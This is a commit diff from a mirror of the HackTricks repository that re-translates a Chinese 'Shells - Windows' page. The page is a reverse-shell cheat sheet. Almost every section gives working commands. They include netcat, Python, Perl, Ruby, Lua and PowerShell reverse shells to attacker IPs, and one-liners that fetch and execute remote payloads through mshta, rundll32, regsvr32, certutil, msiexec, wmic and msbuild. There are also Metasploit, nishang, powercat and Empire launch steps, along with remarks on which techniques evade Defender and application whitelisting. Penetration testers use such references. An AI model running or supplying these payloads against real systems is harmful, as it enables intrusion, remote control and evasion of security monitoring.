mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['generic-methodologies-and-resources/shells/windows.md'] to
This commit is contained in:
Translator
parent
2b114bcc90
commit
9b25cacad1
1 changed files with 67 additions and 67 deletions
|
|
@ -1,16 +1,16 @@
|
|||
# Shells - Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
@ -25,16 +25,29 @@
|
|||
|
||||
## Lolbas
|
||||
|
||||
页面[lolbas-project.github.io](https://lolbas-project.github.io/)是为 Windows 设计的，就像[https://gtfobins.github.io/](https://gtfobins.github.io/)是为 Linux 设计的。\
|
||||
显然，在 Windows 中**没有 SUID 文件或 sudo 特权**，但了解一些**二进制文件**如何被（滥）用来执行某种意外操作是很有用的，比如**执行任意代码。**
|
||||
页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 是针对 Windows 的，类似于 [https://gtfobins.github.io/](https://gtfobins.github.io/) 针对 Linux。\
|
||||
显然，**Windows 中没有 SUID 文件或 sudo 权限**，但了解 **如何** 一些 **二进制文件** 可以被 (滥) 用于执行某种意外操作，如 **执行任意代码**，是很有用的。
|
||||
|
||||
## NC
|
||||
```bash
|
||||
nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
||||
```
|
||||
## NCAT
|
||||
受害者
|
||||
```
|
||||
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||
#Encryption to bypass firewall
|
||||
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||
```
|
||||
攻击者
|
||||
```
|
||||
ncat -l <PORT>
|
||||
#Encryption to bypass firewall
|
||||
ncat -l <PORT eg.443> --ssl
|
||||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/)是一个便携且安全的Netcat替代品**。它适用于类Unix系统和Win32。具有强加密、程序执行、可定制源端口和持续重新连接等功能，sbd为TCP/IP通信提供了多功能解决方案。对于Windows用户，可以使用来自Kali Linux发行版的sbd.exe版本作为Netcat的可靠替代品。
|
||||
**[sbd](https://www.kali.org/tools/sbd/) 是一个便携且安全的 Netcat 替代品**。它可以在类 Unix 系统和 Win32 上运行。凭借强加密、程序执行、可自定义源端口和持续重连等功能，sbd 为 TCP/IP 通信提供了多功能解决方案。对于 Windows 用户，可以使用 Kali Linux 发行版中的 sbd.exe 版本作为 Netcat 的可靠替代品。
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
|
@ -46,36 +59,28 @@ sbd 10.10.10.10 4444
|
|||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## Python
|
||||
|
||||
## Python
|
||||
```bash
|
||||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl是一种通用的脚本语言，广泛用于系统管理、文本处理、网络编程等领域。Perl脚本可以在Windows系统上运行，提供了强大的功能和灵活性。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby是一种动态、开源的面向对象编程语言，具有简洁而易读的语法。
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua是一种轻量级、高效的脚本语言，常用于嵌入式系统和游戏开发中。Lua脚本可以通过解释器直接执行，也可以编译成字节码在虚拟机上运行。Lua具有简洁的语法和强大的扩展能力，被广泛应用于各种领域。
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## OpenSSH
|
||||
|
||||
攻击者（Kali）
|
||||
攻击者 (Kali)
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
|
|
@ -90,10 +95,6 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## Powershell
|
||||
|
||||
### Powershell
|
||||
|
||||
Powershell是Windows系统中的强大脚本语言和命令行工具。它提供了丰富的功能和库，可用于执行各种系统管理任务和自动化操作。Powershell可以与.NET框架集成，使其具有强大的编程能力和灵活性。
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
|
|
@ -101,22 +102,22 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
|||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
执行网络调用的进程：**powershell.exe**\
|
||||
写入磁盘的有效负载：**否**（_至少在我使用procmon时找不到！_）
|
||||
写入磁盘的有效载荷：**没有**（_至少在我使用procmon时找不到！_）
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
执行网络调用的进程：**svchost.exe**\
|
||||
写入磁盘的载荷：**WebDAV客户端本地缓存**
|
||||
写入磁盘的有效载荷：**WebDAV 客户端本地缓存**
|
||||
|
||||
**一句话总结：**
|
||||
**一行代码：**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**在本文末尾获取有关不同Powershell Shells的更多信息**
|
||||
**获取有关不同Powershell Shell的更多信息，请参阅本文档末尾**
|
||||
|
||||
## Mshta
|
||||
|
||||
* [从这里获取](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
|
|
@ -128,13 +129,13 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **hta-psh反向外壳示例（使用hta下载并执行PS后门）**
|
||||
#### **hta-psh 反向 shell 示例（使用 hta 下载并执行 PS 后门）**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**您可以使用分段器hta轻松下载并执行Koadic僵尸程序**
|
||||
**您可以通过 stager hta 非常轻松地下载和执行 Koadic 僵尸**
|
||||
|
||||
#### hta示例
|
||||
#### hta 示例
|
||||
|
||||
[**从这里**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
```xml
|
||||
|
|
@ -170,8 +171,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</scriptlet>
|
||||
```
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshta is a utility in Windows that is used to execute HTA (HTML Application) files. Metasploit has a module that can be used to execute malicious HTA payloads using mshta. This technique can be used to bypass application whitelisting and execute code on a target system.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
|
@ -182,16 +181,16 @@ msf exploit(windows/misc/hta_server) > exploit
|
|||
```bash
|
||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||
```
|
||||
**被defender检测到**
|
||||
**被防御者检测到**
|
||||
|
||||
|
||||
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
|
||||
[**Dll hello world 示例**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [来自这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
|
|
@ -273,17 +272,17 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**您可以使用stager regsvr轻松下载并执行Koadic僵尸**
|
||||
**您可以通过 stager regsvr 非常轻松地下载并执行 Koadic 僵尸**
|
||||
|
||||
## Certutil
|
||||
|
||||
* [从这里下载](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
下载一个B64dll，解码并执行它。
|
||||
下载一个 B64dll，解码并执行它。
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
下载一个B64exe，解码并执行它。
|
||||
下载一个 B64exe，解码并执行它。
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
|
|
@ -305,7 +304,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
|
|||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
执行网络调用的进程：**svchost.exe**\
|
||||
写入磁盘的有效负载：**WebDAV客户端本地缓存**
|
||||
写入磁盘的有效载荷：**WebDAV 客户端本地缓存**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
|
@ -335,7 +334,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
示例xsl文件[在这里](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
示例 xsl 文件 [来自这里](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
|
@ -349,7 +348,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
**未被检测**
|
||||
|
||||
**您可以使用分段器wmic轻松下载并执行Koadic僵尸**
|
||||
**您可以使用 stager wmic 非常轻松地下载并执行 Koadic 僵尸**
|
||||
|
||||
## Msbuild
|
||||
|
||||
|
|
@ -357,12 +356,12 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
你可以使用这种技术来绕过应用程序白名单和Powershell.exe限制。由于你将会收到一个PS shell提示。\
|
||||
只需下载这个文件并执行它：[https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
您可以使用此技术绕过应用程序白名单和 Powershell.exe 限制。您将会看到一个 PS shell。\
|
||||
只需下载并执行它： [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
**未被检测**
|
||||
**未检测到**
|
||||
|
||||
## **CSC**
|
||||
|
||||
|
|
@ -370,13 +369,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
你可以从这里下载一个基本的C#反向shell：[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
您可以从这里下载一个基本的 C# 反向 shell: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**未被检测**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
|
||||
* [从这里获取](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
|
|
@ -386,7 +385,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||
|
||||
## Odbcconf
|
||||
|
||||
* [从这里获取](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
* [来自这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
|
|
@ -400,31 +399,31 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
在**Shells**文件夹中，有许多不同的shell。要下载并执行Invoke-_PowerShellTcp.ps1_，请复制该脚本并附加到文件末尾：
|
||||
在**Shells**文件夹中，有许多不同的shell。要下载并执行Invoke-_PowerShellTcp.ps1_，请复制脚本并将其附加到文件末尾：
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
开始在web服务器上提供脚本，并在受害者端执行：
|
||||
在网络服务器上启动脚本并在受害者端执行：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender尚未将其检测为恶意代码（截至2019年3月4日）。
|
||||
Defender 尚未将其检测为恶意代码（截至 2019 年 3 月 4 日）。
|
||||
|
||||
**TODO: 检查其他nishang shells**
|
||||
**TODO: 检查其他 nishang shells**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
下载，启动Web服务器，启动监听器，并在受害者端执行：
|
||||
下载，启动 web 服务器，启动监听器，并在受害者端执行：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender尚未将其检测为恶意代码（截至2019年3月4日）。
|
||||
Defender 目前尚未将其检测为恶意代码（截至2019年3月4日）。
|
||||
|
||||
**powercat提供的其他选项：**
|
||||
**powercat 提供的其他选项：**
|
||||
|
||||
绑定shell，反向shell（TCP，UDP，DNS），端口重定向，上传/下载，生成有效载荷，提供文件...
|
||||
绑定 shell，反向 shell（TCP，UDP，DNS），端口重定向，上传/下载，生成有效负载，提供文件...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
|
@ -445,7 +444,7 @@ powercat -l -p 443 -i C:\inputfile -rep
|
|||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
创建一个PowerShell启动器，保存在一个文件中，然后下载并执行它。
|
||||
创建一个 powershell 启动器，将其保存在文件中并下载和执行。
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
|
@ -463,7 +462,7 @@ python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
|||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
开始一个提供_powershell\_attack.txt_文件的Web服务器，并在受害者系统中执行：
|
||||
启动一个网络服务器，提供 _powershell\_attack.txt_ 文件，并在受害者上执行：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
|
@ -471,10 +470,11 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## 更多
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS控制台，预装一些具有攻击性的PS模块（加密）\
|
||||
[WinPWN](https://github.com/SecureThisShit/WinPwn) PS控制台，预装一些具有攻击性的PS模块和代理检测（IEX）
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS 控制台，预加载了一些攻击性 PS 模块（加密）\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS 控制台，带有一些攻击性 PS 模块和代理检测（IEX）
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
|
||||
|
|
@ -484,23 +484,23 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
Loading…
Reference in a new issue